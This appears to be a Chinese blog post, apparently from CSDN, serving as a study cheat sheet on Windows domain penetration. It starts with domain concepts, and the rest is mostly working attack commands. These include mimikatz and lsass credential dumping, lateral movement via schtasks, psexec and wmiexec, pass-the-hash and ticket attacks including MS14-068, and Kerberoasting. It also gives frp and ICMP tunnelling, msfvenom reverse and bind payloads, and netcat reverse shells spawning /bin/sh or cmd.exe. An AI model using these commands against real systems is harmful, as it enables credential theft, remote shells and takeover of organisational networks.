1.基本知识:
Ⅰ.名词:
①局域网
②工作组和域环境:
工作组:比如一个网吧,一个家庭,都在一个地方,没有谁管理谁
域环境:会有一个计算机去管理其他计算机,比如共享文件,是工作组的升级版
③DMZ:(类似就是外网服务器)两个防火墙之间的空间称为DMA,安全性比内网低
④活动目录(AD):类似功能策略
⑤域控制器(DC):就是域环境中的管理者 判断是否拿下一个域,就是判断是否拿下了这台管理计算机
Ⅱ.域:
①单域:类似于公司只有一家企业,所有的计算机都在一个域中,就是单域
②父域和子域:公司有分公司,总公司在一个域,子公司在一个域,总公司就是父域,子公司就是子域
③域树和域森林:数据结构中的森林和树,就是把结点换成了一个一个的域
Ⅲ.认知:
①为什么大多都是windows域,很少有Linux域渗透:
因为linux域需要LDAP环境,而且功能也比不上windows域,用linux的话对员工的技术要求也更高,所以windows更适合做域,Li
nux更加适合做服务器。
②局域网技术适用问题:ARP攻击适合于局域网,在域里无效
③大概内网安全流程问题:
2.信息收集:
Ⅰ.基本信息(为了后续判断服务器角色--webserver?sqlserver?fileserver?为网络环境做准备):
①版本,补丁:systeminfo
②计划任务:schtasks(需要高权限)
③服务:net start
④任务:tasklist
Ⅱ.网络信息:
①开放端口:netstat -ano
②判断是否是域环境:
第一种:ipconfig /all 通过查看windows ip配置中的 主DNS后缀l来判断
第二种:net view /domain 有信息返回就是存在域环境
第三种:net time /domain 判断主域
③寻找域DC:nslookup net time /domain的返回结果,或者ping net time /domain的返回结果
Ⅲ.用户信息:
①域用户:net user domain
②本地用户:net user,
③用户权限:whoami /all
④对应组信息:net localgroup, net group /domain
⑤涉及域用户详细信息:wmic useraccount get /all
⑥查询管理员账户/管理员用户组/域控制器:net group "Domain Admins/Enterprese Admins/Domain Controllers" /domain
Ⅳ.凭据信息:
①获取登录账户密码的hash工具:mimikatz(win),mimipenguin(linux)--需要管理员权限
②各种口令(系统登录密码,网站登录密码等等):Lazagne(all)--免费但鸡肋,XenArmor(win)--收费但牛逼,有破解版
3.后续探针:
Ⅰ.探针域内存活主机:
①for /L %I in (1,1,254) DO @ping -w 1 -n 1 目标网段x.x.x.%I | findstr"TTL="(最好)
②nmap,masscan,第三方的powershell脚本nishang(第二好,不会被流量检测),empired等
4.权限提升:
之前的是外网web上的权限提升,这个是内网中的权限提升,比如外网提升完权限后,才有权进入内网,但进入到内网后,权限只是
普通的权限,还需要提权
相当于外网上的提权,只是提权的地方不同,但是提权方法一样
5.横向渗透(重中之重):
Ⅰ.局域网
Ⅱ.域环境:
传递:
①at&schtasks:(主要都是基于windows定时任务的攻击,已经在信息收集中获得了DC的(明文)密码)--利用的是135和445端口
1)at适用的版本:<windows2012
net use \\目标IP\ipc$ "密码" /user:域名\administrator #建立连接
copy add.bat \\目标IP\c$
#拷贝执行文件到目标机器(add.bat文件自己写一个,可以是添加用户,也可以是木马)
at \\目标IP 时间 c:\add.bat #添加计划任务
2)schtasks使用的版本:>=windows2012
net use \\目标IP\ipc$ "密码" /user:域名\administrator #建立连接
copy add.bat \\目标IP\c$ #拷贝执行文件到目标机器
schtasks /create /s 目标IP /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F创建对应任务
schtasks /run /s 目标IP /tn adduser /i #运行这个任务
schtasks /delete /s 目标IP /tn /adduser #删除这个任务
3)相关知识:
net use 网络连接会话管理(IPC)
net use ipc连接\del 删除ipc连接
net tasks 查看计划任务
dir \\路径 查看目录文件列表
4)impacket库(在信息收集中获得了DC的(hash)密码)
库中的atexec函数
atexec.exe -hashes :hash值 ./用户名@ip地址“命令”
也可以有明文密码,直接运行命令,不需要定时任务,atexec.exe 用户名:密码@ip地址 “命令”
5)用python写一个exe文件 利用python自带的pyinstaller -F py文件 生成exe
②psexec&smbexec&wmic&wmiexec:
若windows2012以上版本默认关闭了wdigest/安装了KB2871997补丁,攻击者无法获得明文密码
1)利用其他服务协议(SMB-445端口,WMI--135端口等)进行哈希移动:
<1>psexec(pstool工具--微软的):
第一种:先建立ipc连接
psexec \\IP地址 -s cmd 会返回shell,直接运行命令即可
第二种:不需要建立ipc连接
psexec \\IP地址 -u 用户名 -p 密码(信息收集得到) -s cmd (知道是明文密码)
psexec -hashes :哈希值 用户名@ip地址 (得到的密码是hash值)
<2>smbexec:
smbexec 用户名:密码@IP地址(明文密码)
smbexec -hashes :哈希值 用户名@ip地址 (得到的密码是hash值)
<3>wmi:(不会在日志中留下痕迹,更安全)
第一种:自带的wmic,明文密码,无回显-不会被拦截,因为没有回显,所以还得去查看文件,很鸡肋,不需要学
第二种:wmiexec-有回显,可用明文和hash,会拦截
wmiexec 用户名:密码@IP地址 “cmd命令”(明文密码)
wmiexec -hashes :哈希值 用户名@ip地址 “cmd命令”(得到的密码是hash值)
2)利用注册表操作开启Wdigest Auth值进行获取:
reg add HKML\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REC_DWORD /d 1 /f
3)利用工具或第三方平台(Hashcat)进行破解获取:
hashcat -a 0 -m 1000 hash file --force (1000指得是NTLM hash)
4)procdump+minikaz:
前者不会拦截,后者会被WAF拦截,可以利用前者弄出拷贝文件,放到本地用minikatz来执行
procdump -accepteula -ma lsass.exe 想输出的文件名
sekurlsa::minidump dmp文件
sekurlsa::logonPasswords full
③PTH&PTT&PTK
1)PTH(pass the hash-绕过hash)--利用ntlm或lm的值(打了KB2871997只能连接admininstrator,不打都可以)
和上面的类似,是用ntlm值
sekurlsa::pth /user:用户名 /domain:域名(qiaozong.org) /ntml:hash值
2)PTT(pass the ticket-绕过票据)--(类似于web中的cookie欺骗)票据也有存活时间
<1>利用MS14-068漏洞:-kerberos协议攻击
该漏洞能实现普通用户直接获取域控system权限
查看当前sid :whoami/user
清空机器中的所有凭证:klist purge
查看当前机器凭证:klist
minikatz命令:kerberos::ptc 票据文件 //将p票据注入到内存中
利用MS14-068生成TGT数据:
ms14-068.exe -u 域成员@域名 -s sid -d 域控地址 -p 域成员密码
kerberos::ptc 票据文件
建立连接后,只能用域名进行连接,不能用IP
<2>利用kekeo工具:
只是生成票据的方式不同,其他都一样
kekeo "tgr::ask /user:用户名 /domain:域名 /ntml:信息收集的值"
<3>利用本地票据(需要管理员权限):
有点鸡肋,利用的是本地缓存中的票据,看运气
sekurlsa::tickets /export //导出票据
kerberos::ptc 票据文件 //将p票据注入到内存中
一个一个导入,一个一个试
3)PTK(pass the key-绕过密码)--利用ekeys aes256(只有打了KB2871997才能连接)
minikatz:收集aes256密码,提升权限命令,sekurlsa::ekeys
sekurlsa::pth /user:用户名 /domain:域名(qiaozong.org) /aes256:aes256的值
④winrs&winrm&rdp
rdp协议(能不能看3389端口是否开启):
windows的mstsc工具
mstsc.exe 也就是windows自带的远程电脑连接(图形化的界面)
⑤相关知识:
1)windows系统LM hash及其NTLM Hash加密算法,个人系统在windows vista后,服务器系统在2003后,认证方式均为NTLM hash
2)可以连接域名=workgroup,连接本地用户
漏洞:
①CVE-2014-6324
②CVE-2017-17010
③CVE-2020-1472
SPN:
①流程:(用powershell)
(1)探针SPN服务
setspn -q */*
(2)请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tkoen.KerberosRequestorSecurityToken -ArgumentList "服务名"
或者也可以用
mimikatz的命令:kerberos::ask /target"服务名"
(3)导出服务票据
mimikatz的命令:kerberos::list /export
(4)破解服务票据
用python tgsrepcrack.py 密码本 导出的文件 来破解
(5)重写服务票据
python kerberos.py -p 密码 -r 凭据文件 -w 想生成的凭据文件 -u 500/-g 512
②服务:
(1)MSSQL
(2)WSMAN
(3)Exchange
(4)TERMSERY
(5)Hyper-V Host
Ⅲ.工具:
ladon
cs打枪工具:
启动配置
插件提权
信息收集 net view/dclist/computers;(输入net 按TAB换就行)
视图自动化
工具相关的一些额外操作:
可以上传第三方工具使用(ladon等)
Ⅳ.穿透:
①代理:
1)解决:
<1>内网有外网
<2>内网有过滤
<3>内网无外网
2)方向:
<1>正向
<2>反向
3)工具:
<1>nps
<2>frp:
服务器修改frps.ini ,执行./frps -c frps.ini
控制端修改frpc.ini,执行./frpc -c frpc.ini
<3>ngrok:
www.ngrok.cc
选择http协议
./sunny clientid 官网上的id值
msfvenom -p windows/meterpreter/reverse_http lhost=官网出现的网址 lport=端口 -f exe -o 文件名
msf使用exploit/multi/handler模块
set payload windows/meterpreter/reverse_http
<4>reGeorg(是免杀的)
python neo.py -k wang会生成几个后门文件,放到外网服务器上
运行Python neo.py -k wang -u url地址 则就会生成代理
在kali上选用socks5代理,设置脚本会显的端口,就可以直接访问内网上的服务
或者也可以在本地代理文件中加入socks5代理来访问,/etc/proxychains.conf 执行命令proxychains namp -sS 内网
服务器地址
<5>sockscap64:windows的代理,可以单独用于某一个软件
<6>proxifier
<7>proxychains:kali中的代理工具
<8> 相关知识:(CTF2019)
第一台内网主机(反向连接,靶机连接攻击机)
msfvenom -p windows/meterpreter/reverse_http lhost=kaliip地址 lport=端口 -f exe -o 文件名
msf使用exploit/multi/handler模块
set payload windows/meterpreter/reverse_http
利用webshell连接,传入木马文件,msf接收(这里多一个shell的意义是用kali当作代理跳板)
设置路由代理
获得网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s ip地址
开启本地代理:use auxiliary/server/socks4a
set srvport 端口
exploit
利用proxychain4进行nmap扫描
找到对应web服务器,利用sqlmap代理访问爆破,进入后台,放入后台木马文件,蚁剑代理连接(也可以使用socksca
p64代理工具)
第二胎内网主机(正向连接,攻击机连接靶机)
msfvenom -p linux/x64/meterpreter/bind_tcp lport=端口 -f elf > 文件名
msf使用exploit/multi/handler模块
set payload linux/x64/meterpreter/bind_tcp
②隧道:(在代理上多了一个过滤的绕过)
为解决什么问题:CS,MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题
1)网络层-ipv6隧道,icmp隧道
(1)协议是否支持:
ipv6:
icmp:ping命令,结合pingtunnel工具使用(把tcp/udp/sock5流量伪装成icmp流量进行转发的工具)
工具使用:控制机器(外网机):./ptunnel -x 密码
(攻击机):./ptunnel -p ip地址(外网机器) -lp 端口(本地端口) -da ip地址(目标
) -dp 端口(目标机器) -x 密码
redesktop 127.0.0.1 端口(本地端口)
2)传输层-tcp隧道,udp隧道,端口转发
(1)瑞士军刀(netcat)相关使用:
指纹服务:nc -nv ip
端口扫描:nc -v -z ip 端口区间
端口监听:nc -lvp 端口
(2)端口转发:lcx(windows),portman(linux)
利用portman
外网机器:lcx.exe -slave 内网ip 端口1 127.0.0.1 端口2
攻击机器:lcx.exe -listen 端口2 端口3
(3)转发隧道netcat使用:
<1>双向连接反弹shell:
1>正向:攻击机连接目标机器
受害机器: nc -ldp 端口 -e /bin/sh (linux)
nc -ldp 端口 -e c:\windows\system32\cmd.exe (windows)
攻击机器: nc 受害机器IP 端口
2>反向:目标机器连接攻击机
攻击机器:nc -lvp 端口
受害机器:nc 攻击机器Ip 端口 -e /bin/sh (linux)
nc 攻击机器Ip 端口 -e c:\windows\system32\cmd.exe (windows)
<2>多向连接反弹shell-配合转发:
1>反向
跳板机器:lcx.exe -listen 端口1 端口2
目标机器:nc 跳板机器IP 端口1 -e /bin/sh(linux)/c:\windows\system32\cmd.exe(windows)
攻击机器:nc -v 跳板机器 端口2
2
3)应用层-ssh隧道,http/s隧道,dns隧道
(1)协议是否支持:
ssh:
http/s:利用curl命令
dns:nslookup(windows),dig(linux)
(2)dns隧道配合cs上线:(常见协议被拦截,http不行)-速度特别慢
使用cs使用dns协议就行
需要两个域名
连接机器(待连接状态):checkin , mode dns-txt, 然后等待连接成功
③msf联动cs
网络攻防之内网安全横向渗透权限提升
最新推荐文章于 2024-07-23 23:14:45 发布
本文详细介绍了内网渗透的相关知识,包括局域网和域环境的基础概念,如DMZ、活动目录和域控制器。接着,探讨了为何Windows域更常见于Linux,以及如何通过信息收集来判断服务器角色。重点讨论了权限提升和横向渗透技术,如利用Windows的at、schtasks、psexec等工具进行域内移动,以及PTH、PTT、PTK等技术。同时,提到了内网穿透和隧道技术,如代理和隧道工具的使用,以应对网络限制和监控。文章还涵盖了相关漏洞和工具,如MS14-068,以及ladon、cs打枪工具等。
摘要由CSDN通过智能技术生成